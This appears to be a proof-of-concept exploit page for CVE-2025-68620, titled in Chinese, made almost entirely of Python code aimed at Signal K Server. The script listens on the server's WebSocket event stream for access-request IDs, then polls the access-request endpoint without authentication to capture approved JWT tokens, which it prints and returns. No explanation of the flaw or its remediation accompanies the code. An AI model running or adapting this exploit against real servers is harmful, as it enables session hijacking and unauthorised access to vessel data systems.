CVE-2025-68620 Signal K Server JWT认证令牌窃取漏洞

import websockets import asyncio import requests import json async def exploit_cve_2025_68620(target_url): """ CVE-2025-68620 PoC - Signal K Server JWT Token Theft """ ws_url = target_url.replace('http', 'ws') + '/signalk/stream?serverevents=all' # Step 1: Connect to WebSocket and enumerate access requests print('[+] Connecting to WebSocket endpoint...') try: async with websockets.connect(ws_url) as ws: async for message in ws: data = json.loads(message) if data.get('event') == 'ACCESS_REQUEST': request_id = data.get('data', {}).get('id') print(f'[+] Discovered ACCESS_REQUEST ID: {request_id}') # Step 2: Poll the access request status status_url = f'{target_url}/signalk/v1/access/requests/{request_id}' print(f'[+] Polling request status: {status_url}') response = requests.get(status_url) result = response.json() # Check if token is available (request approved) if 'token' in result: print(f'[+] SUCCESS! JWT Token obtained: {result["token"]}') return result['token'] except Exception as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': target = 'http://target-server:3000' asyncio.run(exploit_cve_2025_68620(target))